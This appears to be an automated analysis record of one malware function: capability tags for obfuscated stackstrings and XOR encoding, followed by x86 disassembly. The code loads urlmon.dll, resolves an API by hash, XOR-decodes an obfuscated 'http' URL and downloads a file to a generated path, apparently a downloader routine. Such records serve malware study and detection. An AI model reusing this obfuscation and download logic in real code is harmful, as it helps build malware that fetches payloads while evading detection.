Function at 0x41b977
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x52c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.0041b8a7
add esp, 4
test eax, eax
jne 0x41bd9c
push 6
push eax
mov dword [ebp - 0xb4], 0x750068
mov dword [ebp - 0xb0], 0x730076
mov dword [ebp - 0xac], 0x2a003e
mov dword [ebp - 0xa8], 0x700029
mov dword [ebp - 0xa4], 0x7e007f
mov dword [ebp - 0xa0], 0x780024
mov dword [ebp - 0x9c], 0x61007d
mov dword [ebp - 0x98], 0x7b0067
mov dword [ebp - 0x94], 0x3f0075
mov dword [ebp - 0x90], 0x61007d
mov dword [ebp - 0x8c], 0x3a0073
mov dword [ebp - 0x88], 0x270024
mov dword [ebp - 0x84], 0x2d0029
mov dword [ebp - 0x80], 0x680035
mov dword [ebp - 0x7c], 0x71006d
mov dword [ebp - 0x78], 0x6b0077
mov dword [ebp - 0x74], 0xc0045
mov dword [ebp - 0x70], 0x4f0046
mov dword [ebp - 0x6c], 0x80048
mov dword [ebp - 0x68], 0x4e0051
mov dword [ebp - 0x64], 0x1a0046
mov dword [ebp - 0x60], 0x60018
mov dword [ebp - 0x5c], 0x150054
mov dword [ebp - 0x58], 0x20018
mov dword [ebp - 0x54], 0x10003
mov dword [ebp - 0x50], 0x3000a
mov dword [ebp - 0x4c], 0x50007
mov dword [ebp - 0x48], 0x190006
mov dword [ebp - 0x44], 0x500042
mov dword [ebp - 0x40], 0x4a
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x6d6c7275
mov dword [ebp - 0x1c], 0x642e6e6f
mov word [ebp - 0x18], 0x6c6c
mov byte [ebp - 0x16], al
mov dword [ebp - 0x15], eax
mov byte [ebp - 0x11], al
mov dword [ebp - 0x11c], 0x10
mov dword [ebp - 0x118], 0x11
mov dword [ebp - 0x114], 0x12
mov dword [ebp - 0x110], 0x13
mov dword [ebp - 0x10c], 0x14
mov dword [ebp - 0x108], 0x15
mov dword [ebp - 0x104], 0x16
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], 0x10000a
mov dword [ebp - 0xd8], 0x1b0016
mov dword [ebp - 0xd4], 0x22001f
mov dword [ebp - 0xd0], 0x280025
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
call fcn.0040ba57
movzx edi, al
movzx edx, word [ebp + edi*2 - 0xda]
movzx eax, word [ebp + edi*2 - 0xdc]
dec edx
push edx
push eax
call fcn.0040ba57
lea edx, [ebp - 0x20]
movzx ecx, al
add esi, 0x20
push edx
push esi
mov dword [ebp - 0xb8], ecx
call fcn.0040c2f7
push 0xee7ddbb4
push 0
push 0
push eax
push esi
call fcn.00418a67
mov ebx, eax
add esp, 0x2c
test ebx, ebx
jne 0x41bbd0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x322]
xor ecx, ecx
push eax
mov dword [ebp - 0x2c], 0x7a002e
mov dword [ebp - 0x28], 0x700069
mov word [ebp - 0x24], cx
mov word [ebp - 0x324], dx
call fcn.0041fac7
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x52a]
push edx
mov word [ebp - 0x52c], cx
call fcn.0041fac7
mov ecx, dword [ebp + 8]
push 0
push 4
lea eax, [ebp - 0x324]
push eax
push ecx
call fcn.0040c647
mov eax, dword [ebp + 8]
push 0
push 4
lea edx, [ebp - 0x52c]
push edx
push eax
call fcn.0040c647
lea ecx, [ebp - 0x324]
push ecx
call fcn.0041fc47
mov edx, 0x5c
push 8
push 5
mov word [ebp + eax*2 - 0x324], dx
call fcn.0040ba57
movzx eax, al
add esp, 0x44
push eax
lea ecx, [ebp - 0x324]
push ecx
call fcn.0041fc47
lea edx, [ebp + eax*2 - 0x324]
add esp, 4
push edx
call fcn.00420907
push 0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x324]
push ecx
call fcn.0041fdb7
xor ecx, ecx
add esp, 0x14
cmp word [ebp - 0xb4], cx
je 0x41bcca
lea eax, [ebp - 0xb4]
mov dl, byte [eax]
xor dl, cl
movzx edx, dl
inc ecx
mov word [eax], dx
cmp word [ebp + ecx*2 - 0xb4], 0
lea eax, [ebp + ecx*2 - 0xb4]
jne 0x41bcad
lea eax, [ebp - 0xb4]
push eax
call fcn.0041fc47
mov edx, dword [ebp + edi*4 - 0x11c]
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 0xbc], eax
xor eax, eax
push 4
push eax
push edx
push esi
mov byte [ebp - 0x10], 0
mov dword [ebp - 0xf], eax
mov byte [ebp - 0xb], al
call fcn.0041fb87
mov ecx, dword [ebp - 0xb8]
xor eax, eax
mov dword [ebp - 7], eax
mov byte [ebp - 3], al
lea eax, [ebp - 8]
push eax
push 4
push 0
push ecx
push esi
mov byte [ebp - 8], 0
call fcn.0041fb87
mov eax, dword [ebp - 0xbc]
movsx ecx, byte [ebp - 0x10]
mov edx, 0x30
mov word [ebp + eax*2 - 0xc2], dx
movsx edx, byte [ebp - 0xf]
add esp, 0x2c
mov word [ebp + eax*2 - 0xfa], cx
movsx ecx, byte [ebp - 8]
mov word [ebp + eax*2 - 0xf8], dx
movsx edx, byte [ebp - 7]
push 0
mov word [ebp + eax*2 - 0xc8], cx
push 0
mov word [ebp + eax*2 - 0xc6], dx
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0xb4]
push ecx
push 0
call ebx
test eax, eax
js 0x41bbc7
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x52c]
push edx
lea eax, [ebp - 0x324]
push eax
push ecx
call fcn.0040cb67
add esp, 0xc
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret